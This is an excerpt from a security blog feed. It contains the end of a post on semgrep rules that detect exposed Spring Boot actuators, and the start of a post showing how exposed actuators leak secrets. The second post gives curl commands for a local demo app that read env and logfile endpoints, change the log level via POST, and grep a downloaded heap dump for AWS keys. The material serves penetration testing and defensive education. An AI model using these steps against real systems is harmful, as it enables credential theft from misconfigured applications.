      <span class="hljs-comment"># semgrep that prevented the "VAR not in LIST" construction</span>
      <span class="hljs-comment"># at the time of writing. In general, the latter should work</span>
      <span class="hljs-comment"># as well, as soon as the bug is fixed.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">metavariable-comparison:</span>
          <span class="hljs-attr">metavariable:</span> <span class="hljs-string">$ACTUATOR</span>
          <span class="hljs-attr">comparison:</span> <span class="hljs-string">not</span> <span class="hljs-string">str($ACTUATOR)</span> <span class="hljs-string">in</span> [<span class="hljs-string">"health"</span>, <span class="hljs-string">"prometheus"</span>]
    <span class="hljs-comment"># We can also use the metavariable in the message, so that we </span>
    <span class="hljs-comment"># can directly output the offending actuator in the logs.</span>
    <span class="hljs-attr">message:</span> <span class="hljs-string">Spring</span> <span class="hljs-string">Boot</span> <span class="hljs-string">Actuator</span> <span class="hljs-string">"$ACTUATOR"</span> <span class="hljs-string">is</span> <span class="hljs-string">enabled.</span> <span class="hljs-string">Depending</span> 
      <span class="hljs-string">on</span> <span class="hljs-string">the</span> <span class="hljs-string">actuator,</span> <span class="hljs-string">this</span> <span class="hljs-string">can</span> <span class="hljs-string">pose</span> <span class="hljs-string">a</span> <span class="hljs-string">significant</span> <span class="hljs-string">security</span> <span class="hljs-string">risk.</span> 
      <span class="hljs-string">Please</span> <span class="hljs-string">double-check</span> <span class="hljs-string">if</span> <span class="hljs-string">the</span> <span class="hljs-string">actuator</span> <span class="hljs-string">is</span> <span class="hljs-string">needed</span> <span class="hljs-string">and</span> <span class="hljs-string">properly</span> 
      <span class="hljs-string">secured.</span>
    <span class="hljs-attr">severity:</span> <span class="hljs-string">ERROR</span>
    <span class="hljs-attr">languages:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">yaml</span>
</code></pre>
<p>If we run this rule against the configuration shown above, we get the following result:</p>
<pre><code class="lang-txt">$ semgrep -c path/to/rules.yaml .
Scanning 2 files with 2 yaml rules.
  100%|███████████████████████████████████████████████████████████████|2/2 tasks

Findings:

  src/main/resources/application.yml 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator ""en" is enabled. Depending on the actuator,
        this can pose a significant security risk. Please double-check if
        the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - "health"
         10┆           - "prometheus"
         11┆           - "logfile"
         12┆           - "env"
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
     src.main.resources.spring-actuator-dangerous-endpoints-enabled
        Spring Boot Actuator ""heapdum" is enabled. Depending on the
        actuator, this can pose a significant security risk. Please double-
        check if the actuator is needed and properly secured.

          3┆ management:
          4┆   endpoints:
          5┆     web:
          6┆       # base-path: /internal
          7┆       exposure:
          8┆         include:
          9┆           - "health"
         10┆           - "prometheus"
         11┆           - "logfile"
         12┆           - "env"
           [hid 3 additional lines, adjust with --max-lines-per-finding] 
... two more findings like this, for ""logfil" and ""toggl" ...
</code></pre>
<p>You will note three things: </p>
<ol>
<li>The output of the metavariable is a bit bugged - this is a <a target="_blank" href="https://github.com/returntocorp/semgrep/issues/4748">known issue in semgrep</a> at the time of writing, but it is purely cosmetic (internally, the matching works). </li>
<li>We get four matches, which is the expected number for the configuration file above - health and prometheus were ignored, as requested.</li>
<li>Although we defined the rule using the syntax <code>include: [..., $ACTUATOR, ...]</code>, it still matched the syntax from the config file, as it knows that the inline list format and the "individual lines prefixed by a dash"-Syntax are equivalent. This semantic knowledge is what makes semgrep so powerful.</li>
</ol>
<h2 id="heading-excluding-findings">Excluding Findings</h2>
<p>This is already a quite useful pattern. However, maybe your organization actually wants actuators to be active, and simply requires them to be running on a specific port or IP that is not exposed publicly. In that case, a configuration like this would be perfectly acceptable:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">management:</span>
  <span class="hljs-attr">server:</span>
    <span class="hljs-comment"># Actuators only listen on localhost:8080</span>
    <span class="hljs-attr">address:</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>
    <span class="hljs-attr">port:</span> <span class="hljs-number">8080</span>
  <span class="hljs-attr">endpoints:</span>
    <span class="hljs-attr">web:</span>
      <span class="hljs-attr">exposure:</span>
        <span class="hljs-attr">include:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"health"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"prometheus"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"logfile"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"env"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"heapdump"</span>
          <span class="hljs-bullet">-</span> <span class="hljs-string">"togglz"</span>
</code></pre>
<p>So, how can we tell semgrep "please find cases where actuators are active, but not if they are only listening on a specific IP"? Fairly easily, actually. Let's build a rule for that.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">rules:</span>
<span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">spring-actuator-dangerous-endpoints-enabled</span>
    <span class="hljs-attr">patterns:</span>
      <span class="hljs-comment"># Pattern identical to the previous example</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">pattern:</span> <span class="hljs-string">|
          management:
            ...
            endpoints:
              ...
              web:
                ...
                exposure:
                  ...
                  include: [..., $ACTUATOR, ...]
</span>      <span class="hljs-comment"># pattern identical to previous example</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">metavariable-comparison:</span>
          <span class="hljs-attr">metavariable:</span> <span class="hljs-string">$ACTUATOR</span>
          <span class="hljs-attr">comparison:</span> <span class="hljs-string">not</span> <span class="hljs-string">str($ACTUATOR)</span> <span class="hljs-string">in</span> [<span class="hljs-string">"health"</span>, <span class="hljs-string">"prometheus"</span>]
      <span class="hljs-comment"># We add a third pattern, with the pattern-not directive. </span>
      <span class="hljs-comment"># This means that any patterns that match this are not </span>
      <span class="hljs-comment"># considered for the results. In this example, we exclude </span>
      <span class="hljs-comment"># cases where the address for the management server is </span>
      <span class="hljs-comment"># explicitly set to 127.0.0.1.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">pattern-not:</span> <span class="hljs-string">|
          management:
            ...
            server:
              ...
              address: 127.0.0.1
</span>    <span class="hljs-attr">message:</span> <span class="hljs-string">Spring</span> <span class="hljs-string">Boot</span> <span class="hljs-string">Actuator</span> <span class="hljs-string">"$ACTUATOR"</span> <span class="hljs-string">is</span> <span class="hljs-string">enabled,</span> <span class="hljs-string">and</span> <span class="hljs-string">not</span>
      <span class="hljs-string">bound</span> <span class="hljs-string">to</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span><span class="hljs-string">.</span> <span class="hljs-string">Depending</span> <span class="hljs-string">on</span> <span class="hljs-string">the</span> <span class="hljs-string">actuator,</span> <span class="hljs-string">this</span> <span class="hljs-string">can</span> <span class="hljs-string">pose</span> 
      <span class="hljs-string">a</span> <span class="hljs-string">significant</span> <span class="hljs-string">security</span> <span class="hljs-string">risk.</span> <span class="hljs-string">Please</span> <span class="hljs-string">double-check</span> <span class="hljs-string">if</span> <span class="hljs-string">the</span> 
      <span class="hljs-string">actuator</span> <span class="hljs-string">is</span> <span class="hljs-string">needed</span> <span class="hljs-string">and</span> <span class="hljs-string">properly</span> <span class="hljs-string">secured.</span> <span class="hljs-string">Company</span> <span class="hljs-string">policy</span> <span class="hljs-string">is</span> <span class="hljs-string">to</span>
      <span class="hljs-string">only</span> <span class="hljs-string">allow</span> <span class="hljs-string">actuators</span> <span class="hljs-string">to</span> <span class="hljs-string">listen</span> <span class="hljs-string">on</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span> <span class="hljs-bullet">-</span> <span class="hljs-string">you</span> <span class="hljs-string">can</span> <span class="hljs-string">achieve</span>
      <span class="hljs-string">this</span> <span class="hljs-string">by</span> <span class="hljs-string">setting</span> <span class="hljs-string">management.server.address</span> <span class="hljs-string">to</span> <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span><span class="hljs-string">.</span>
    <span class="hljs-attr">severity:</span> <span class="hljs-string">ERROR</span>
    <span class="hljs-attr">languages:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">yaml</span>
</code></pre>
<p>Or maybe you don't actually care <em>which</em> IP the actuator is listening on, as long as a port and IP are explicitly set - maybe because the set of possible allowed IPs is too large, or maybe because you think that if a team is going to go to the trouble of setting these two values, they know what they are doing and don't need your handholding. In this case, simply change the <code>pattern-not</code> to the following:</p>
<pre><code class="lang-yaml"><span class="hljs-bullet">-</span> <span class="hljs-attr">pattern-not:</span> <span class="hljs-string">|
    management:
      ...
      server:
        ...
        port: $PORT
        address: $ADDRESS</span>
</code></pre>
<p>In this case, you simply tell semgrep "hey, I don't actually care what the values of the two metavariable are, just make sure they are present". As a bonus, semgrep knows that the order of keys in YAML doesn't matter, so you don't have to worry about what happens if the two keys are in a different order in the config file - semgrep will find them.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>We could go on for quite a while in refining these patterns, but in the end, you will have to adapt them to your own situation. For example, maybe you are securing your Actuators using Spring Security, and simply need to check if the correct authentication requirements are configured. Or maybe you are exposing all active actuators, but have <a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html#actuator.endpoints.enabling">turned off</a> most actuators that are enabled by default. All of these things can be checked with semgrep, if you know how to write the rules.</p>
<p>I would be remiss if I did not mention one limitation of semgrep: Currently, the semantic features of semgrep are not yet available for all programming languages. In particular, this is the reason why I worked with YAML configuration files for Spring in this article - going through the plain-text <code>properties</code> format would be a lot more annoying with semgrep, as you cannot use the implicit hierarchy that YAML gives you to structure your queries. You can still write semgrep rules against these files using the <a target="_blank" href="https://semgrep.dev/docs/experiments/generic-pattern-matching/"><code>generic</code> language model</a>, but it is subject to <a target="_blank" href="https://semgrep.dev/docs/experiments/generic-pattern-matching/#caveats-and-limitations-of-generic-mode">some limitations</a>. I recommend playing around with it to see if you can get your use case to work - the <a target="_blank" href="https://semgrep.dev/playground/new?editorMode=advanced">semgrep playground</a> allows you to do so without installing anything on your device.</p>
<p>I have <a target="_blank" href="https://github.com/returntocorp/semgrep-rules/pull/2389">contributed</a> the rules from this article (written in a slightly nicer way that would have taken a bit longer to explain, so I opted to go with simpler rules for this article) to the semgrep rule registry, including a rule that uses the generic mode to find Actuator activations in <code>.properties</code> files. You can find the final rules in <a target="_blank" href="https://github.com/returntocorp/semgrep-rules/pull/2389">this pull request on GitHub</a>.</p>
<p>And as a bonus: If you want to scan a large set of Git repositories with a set of semgrep rules, I <a target="_blank" href="https://www.securecodebox.io/blog/2021/10/27/sast-scanning">wrote about how you can do this</a> using the <a target="_blank" href="https://www.securecodebox.io/">OWASP secureCodeBox</a>, an Open Source project that I am an active contributor to.</p>
<p>This concludes this part of the Spring Actuator security series. I hope that you have gained some appreciation for the power and flexibility of using static code analysis to aid you in securing your systems. In the next part, we will discuss how to find actuators in deployed software using dynamic testing.</p>
<p>Further Reading:</p>
<ul>
<li>The <a target="_blank" href="https://semgrep.dev/docs/">semgrep documentation</a> and <a target="_blank" href="https://semgrep.dev/learn">Getting Started tutorial</a></li>
<li>The <a target="_blank" href="https://semgrep.dev/r">semgrep registry</a> contains lots of rules for many issues, and you can <a target="_blank" href="https://github.com/returntocorp/semgrep-rules">contribute your own</a>.</li>
<li>The <a target="_blank" href="https://r2c.dev/slack">semgrep Slack</a> is full of helpful and kind people who help you when you are stuck.</li>
</ul>
<p><em>Once again, I would like to thank the Security Community at my employer, <a target="_blank" href="https://www.iteratec.com/">iteratec</a>, for their input on this issue and feedback on the article. Additionally, I would like to thank the Semgrep community on Slack for their help in learning how to write rules - you rock!</em></p>
]]></content:encoded></item><item><title><![CDATA[Spring Actuator Security, Part 1: Stealing Secrets Using Spring Actuators]]></title><description><![CDATA[Spring is a set of frameworks for developing Applications in Java. It is widely used, and so it is not unusual to encounter it during a security audit or penetration test. One of its features that I recently encountered during a whitebox audit is act...]]></description><link>https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators</link><guid isPermaLink="true">https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators</guid><category><![CDATA[Spring]]></category><category><![CDATA[Springboot]]></category><category><![CDATA[Security]]></category><category><![CDATA[Java]]></category><category><![CDATA[bugbounty]]></category><dc:creator><![CDATA[Max Maass]]></dc:creator><pubDate>Mon, 12 Sep 2022 14:25:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662992333583/NikscZSeg.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://spring.io/">Spring</a> is a set of frameworks for developing Applications in Java. It is widely used, and so it is not unusual to encounter it during a security audit or penetration test. One of its features that I recently encountered during a whitebox audit is <a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html">actuators</a>. In this series of articles, I will use them as a case study for security testing - first describing the risk involved in exposing actuators to the Internet by demonstrating how they can be used to steal secrets from your applications, using a basic Spring application as a case study. In the next parts of the series, I will discuss how to detect the misconfiguration using static code analysis and dynamic testing.</p>
<h2 id="heading-what-are-actuators">What are Actuators?</h2>
<p><a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html">Actuators</a> expose information about the running Spring application via (amongst others) a REST API and can be used to retrieve data from the system, or even make configuration changes if configured (in)correctly. They can be quite helpful in debugging or monitoring a Spring application, but if you expose them too widely, things can get dangerous very quickly.</p>
<p>By default, <a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html#actuator.endpoints.exposing">only the health check endpoint is enabled</a> over REST, listening at <code>/actuator/health</code>. However, it is possible to enable additional endpoints, for example to expose metrics to Prometheus for monitoring. This can be done through settings in the relevant <code>.properties</code> file (or its YAML equivalent):</p>
<pre><code class="lang-ini"><span class="hljs-comment"># Enable Prometheus endpoint in addition to health check</span>
<span class="hljs-attr">management.endpoints.web.exposure.include</span>=health,prometheus
</code></pre>
<p>It is also possible to enable <em>all</em> endpoints for access over REST, by using the following setting in the relevant <code>.properties</code> file:</p>
<pre><code class="lang-ini"><span class="hljs-comment"># Do not do this! This is insecure!</span>
<span class="hljs-attr">management.endpoints.web.exposure.include</span>=*
</code></pre>
<p>This is the config that I found during a recent engagement - and since the application was explicitly configured to expose all actuators without any authentication, I was curious to see what other actuators exist, and how they could be leveraged to attack the application. The result was this article series (and a call to the customer, telling them to make some changes to their configuration <em>right now</em>).</p>
<h2 id="heading-exploiting-public-actuators">Exploiting Public Actuators</h2>
<p>Conveniently, Spring provides a <a target="_blank" href="https://docs.spring.io/spring-boot/docs/2.5.6/reference/html/actuator.html#actuator.endpoints">list of all actuators</a> that are present by default and can be enabled. They include actuators for reading (and writing!) the log configuration, the application environment (including environment variables), and even the logs of the application. Even more conveniently, by default, it will show you the list of enabled actuators if you simply access <code>/actuator</code>, removing the guesswork out of determining which actuators you have to work with.</p>
<p>I've created a <a target="_blank" href="https://github.com/malexmave/blog-spring-actuator-example">basic, vulnerable Spring application</a> that exposes all endpoints, if you want to follow along at home. Running it locally on your machine and accessing the Spring actuators endpoint, you will get the following output:</p>
<pre><code class="lang-bash">$ curl localhost:8081/actuator | jq .
{
  <span class="hljs-string">"_links"</span>: {
    <span class="hljs-string">"self"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"beans"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/beans"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"caches"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/caches"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"caches-cache"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/caches/{cache}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"health-path"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/health/{*path}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"health"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/health"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"info"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/info"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"conditions"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/conditions"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"configprops"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/configprops"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"configprops-prefix"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/configprops/{prefix}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"env-toMatch"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/env/{toMatch}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"env"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/env"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"logfile"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/logfile"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"loggers-name"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/loggers/{name}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"loggers"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/loggers"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"heapdump"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/heapdump"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"threaddump"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/threaddump"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"metrics-requiredMetricName"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/metrics/{requiredMetricName}"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">true</span>
    },
    <span class="hljs-string">"metrics"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/metrics"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"scheduledtasks"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/scheduledtasks"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    },
    <span class="hljs-string">"mappings"</span>: {
      <span class="hljs-string">"href"</span>: <span class="hljs-string">"http://localhost:8081/actuator/mappings"</span>,
      <span class="hljs-string">"templated"</span>: <span class="hljs-literal">false</span>
    }
  }
}
</code></pre>
<p>There have been some articles about exploiting actuators, which can even lead to remote code execution (RCE) on the machine running the application. <a target="_blank" href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">Veracode discussed a series of paths to RCE in 2019</a> (although some of their methods no longer work on modern Spring versions). In this article, I wanted to highlight a few additional endpoints that can prove dangerous, to illustrate why you should be careful with this feature.</p>
<h3 id="heading-exposing-the-environment">Exposing the Environment</h3>
<p>Let's assume the application you are running is using environmental variables to pull in configuration values:</p>
<pre><code class="lang-java"><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">SecretConfig</span> </span>{
    <span class="hljs-keyword">protected</span> <span class="hljs-keyword">static</span> String DATABASE_CONNECTION = System.getenv(<span class="hljs-string">"DB_CONN"</span>);
    <span class="hljs-keyword">protected</span> <span class="hljs-keyword">static</span> String SECRET_AWS_ACCESS_KEY = System.getenv(<span class="hljs-string">"AWS_SECRET_KEY"</span>);
    <span class="hljs-keyword">protected</span> <span class="hljs-keyword">static</span> String SECRET_AWS_ACCESS_TOKEN = System.getenv(<span class="hljs-string">"AWS_TOKEN"</span>);
}
</code></pre>
<p>One of the endpoints allows us to take a peek at the application environment. Let's see if we can get these tokens using the <code>env</code> actuator:</p>
<pre><code class="lang-bash">$ curl localhost:8081/actuator/env | jq .
// ... lots of stuff
<span class="hljs-string">"DB_CONN"</span>: {
    <span class="hljs-string">"value"</span>: <span class="hljs-string">"psql://server/db"</span>,
    <span class="hljs-string">"origin"</span>: <span class="hljs-string">"System Environment Property \"DB_CONN\""</span>
},
// ... lots of stuff
</code></pre>
<p>So, we can read the DB connection string in plaintext from the actuator. Sweet. What about the AWS credentials? Well, the situation is a bit more complicated here:</p>
<pre><code class="lang-bash"><span class="hljs-string">"AWS_SECRET_KEY"</span>: {
    <span class="hljs-string">"value"</span>: <span class="hljs-string">"******"</span>,
    <span class="hljs-string">"origin"</span>: <span class="hljs-string">"System Environment Property \"AWS_SECRET_KEY\""</span>
},
<span class="hljs-string">"AWS_TOKEN"</span>: {
    <span class="hljs-string">"value"</span>: <span class="hljs-string">"******"</span>,
    <span class="hljs-string">"origin"</span>: <span class="hljs-string">"System Environment Property \"AWS_TOKEN\""</span>
},
</code></pre>
<p>As you can see, the data is being redacted. Spring automatically tries to redact sensitive values in the Actuator output, based on the name of the environment variable. If we had been more careless and chosen a different name, the data would be right here for the taking, but sadly, Spring has prevented us from trivially stealing the values here. But, there are of course other ways to achieve this goal.</p>
<h3 id="heading-reading-logs">Reading Logs</h3>
<p>Let's assume that your application has the following code:</p>
<pre><code class="lang-java"><span class="hljs-meta">@RequestMapping("/")</span>
<span class="hljs-function"><span class="hljs-keyword">public</span> String <span class="hljs-title">index</span><span class="hljs-params">()</span> </span>{
    logger.info(<span class="hljs-string">"Entering hello world function..."</span>);
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    <span class="hljs-comment">// Log the AWS credentials for debugging, </span>
    <span class="hljs-comment">// so we know if they got loaded correctly.</span>
    logger.info(<span class="hljs-string">"Dumping AWS credentials for debugging purposes: Key: {} Token: {}"</span>, AWS_KEY, AWS_TOKEN);
    <span class="hljs-comment">// Do some work with the AWS credentials</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello World!"</span>;
}
</code></pre>
<p>Assuming it is configured to log to a file, Spring helpfully exposes an endpoint called <code>/actuator/logfile</code>. Let's take a look at what this can give us:</p>
<pre><code class="lang-bash">$ curl localhost:8081/actuator/logfile   
[...]
2022-08-24 13:45:14.813  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world <span class="hljs-keyword">function</span>...
2022-08-24 13:45:14.814  INFO 68465 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials <span class="hljs-keyword">for</span> debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest
</code></pre>
<p>And there we go - we can pull the AWS credentials right from the logs.</p>
<p>This is, admittedly, a bit far-fetched. No one in their right mind would log AWS credentials in a production environment, right? Okay, then let's make a few changes to the code to reflect this:</p>
<pre><code class="lang-java"><span class="hljs-meta">@RequestMapping("/")</span>
<span class="hljs-function"><span class="hljs-keyword">public</span> String <span class="hljs-title">index</span><span class="hljs-params">()</span> </span>{
    logger.info(<span class="hljs-string">"Entering hello world function..."</span>);
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    <span class="hljs-comment">// This is safe, as this logs on the DEBUG level,</span>
    <span class="hljs-comment">// while in production, the loglevel is set to INFO, </span>
    <span class="hljs-comment">// so this will never be logged</span>
    logger.debug(<span class="hljs-string">"Dumping AWS credentials for debugging purposes: Key: {} Token: {}"</span>, AWS_KEY, AWS_TOKEN);
    <span class="hljs-comment">// Do some work with the AWS credentials</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello World!"</span>;
}
</code></pre>
<p>So you build, deploy, double-check that the logs are clean, and go to bed, knowing that your application is now safe - right?</p>
<h3 id="heading-changing-log-configuration">Changing Log Configuration</h3>
<p>Enter <code>/actuator/loggers</code>. This endpoint gives us the log configuration for the application, and looks something like this:</p>
<pre><code class="lang-bash">$ curl localhost:8081/actuator/loggers | jq .
{
  <span class="hljs-string">"levels"</span>: [
    <span class="hljs-string">"OFF"</span>,
    <span class="hljs-string">"ERROR"</span>,
    <span class="hljs-string">"WARN"</span>,
    <span class="hljs-string">"INFO"</span>,
    <span class="hljs-string">"DEBUG"</span>,
    <span class="hljs-string">"TRACE"</span>
  ],
  <span class="hljs-string">"loggers"</span>: {
    // ...
    <span class="hljs-string">"com.example.demo"</span>: {
      <span class="hljs-string">"configuredLevel"</span>: null,
      <span class="hljs-string">"effectiveLevel"</span>: <span class="hljs-string">"INFO"</span>
    },
    <span class="hljs-string">"com.example.demo.DemoApplication"</span>: {
      <span class="hljs-string">"configuredLevel"</span>: null,
      <span class="hljs-string">"effectiveLevel"</span>: <span class="hljs-string">"INFO"</span>
    },
    // ...
  }
  // ...
}
</code></pre>
<p>So, we can see that the logger is configured to only log on the INFO level. Sure, this isn't great (the endpoint discloses a lot about the structure of the application, used dependencies, etc.), but it isn't immediately dangerous. What <em>is</em> dangerous is the fact that the logger configuration can also be <em>changed</em> from this actuator by sending a POST to the correct endpoint. In this case, I am setting the loglevel for the logger com.example.demo.DemoApplication to DEBUG:</p>
<pre><code class="lang-bash">$ curl -X POST localhost:8081/actuator/loggers/com.example.demo.DemoApplication -H <span class="hljs-string">'Content-Type: application/json'</span> -d <span class="hljs-string">'{"configuredLevel": "DEBUG"}'</span>
</code></pre>
<p>Visit the page again, retrieve the logs - and there we go:</p>
<pre><code class="lang-bash">$ curl localhost:8081/actuator/logfile   
[...]
2022-08-24 13:57:37.774  INFO 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Entering hello world <span class="hljs-keyword">function</span>...
2022-08-24 13:57:37.774 DEBUG 71087 --- [http-nio-8081-exec-2] com.example.demo.DemoApplication         : Dumping AWS credentials <span class="hljs-keyword">for</span> debugging purposes: Key: AKIATESTTEST Token: TESTingSecretAccessTest
</code></pre>
<p>The logs are back, clearly showing that the application is now logging on the DEBUG level. Now you are seriously annoyed, and decide to do what you should have done before: get rid of the logging statement, as there really is no good reason for it to be there in the first place anyway.</p>
<pre><code class="lang-java"><span class="hljs-meta">@RequestMapping("/")</span>
<span class="hljs-function"><span class="hljs-keyword">public</span> String <span class="hljs-title">index</span><span class="hljs-params">()</span> </span>{
    logger.info(<span class="hljs-string">"Entering hello world function..."</span>);
    String AWS_KEY = SecretConfig.SECRET_AWS_ACCESS_KEY;
    String AWS_TOKEN = SecretConfig.SECRET_AWS_ACCESS_TOKEN;
    <span class="hljs-comment">// Do not log the AWS Credentials, this is dangerous! </span>
    <span class="hljs-comment">// =&gt; Commented out for now.</span>
    <span class="hljs-comment">// logger.debug("Dumping AWS credentials for debugging purposes: Key: {} Token: {}", AWS_KEY, AWS_TOKEN);</span>
    <span class="hljs-comment">// Do some work with the AWS credentials</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Hello World!"</span>;
}
</code></pre>
<p>Build, deploy, and finally we're safe. Right?</p>
<h3 id="heading-actually-ill-just-have-everything-to-go-please">Actually, I'll Just Have Everything To Go, Please</h3>
<p>Pulling data from logs is a really tedious task, and there is no guarantee for me (as an attacker) that the application will actually log interesting things. Sure, I could go ahead and set every single external library to the TRACE loglevel, collect the logs, and sift through them, but really, this seems like a lot of work I'd rather avoid doing, thank you very much. Why go to that trouble if I could instead just take... everything?</p>
<p>Well, lucky for me, there is <code>/actuator/heapdump</code>. This endpoint does exactly what it sounds like - it takes a copy of the Java heap (i.e., the memory of the application) and provides it to me as a large blob of binary data. Let's grab a copy and dig in.</p>
<pre><code class="lang-bash">$ curl localhost:8081/actuator/heapdump -o heap.bin
</code></pre>
<p>Now, since you have cleverly disabled the logging of AWS credentials, I can no longer just read them from the logs - but they are still in the heap of the application! Likely in the middle of a big chunk of meaningless binary data, but that's what the <code>strings</code> utility is for - it pulls sequences of printable characters from any file and presents them to you, newline-separated. You can then just pipe the whole thing through <code>grep</code> to find what you are looking for. For example, AWS credentials.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Use -C 20 to see 20 lines before and after each match</span>
$ strings heap.bin | grep -C 20 AKIA
[...]
AWS_TOKEN<span class="hljs-comment">#</span>
AWS_TOKEN!
TESTingSecretAccessTest<span class="hljs-comment">#</span>
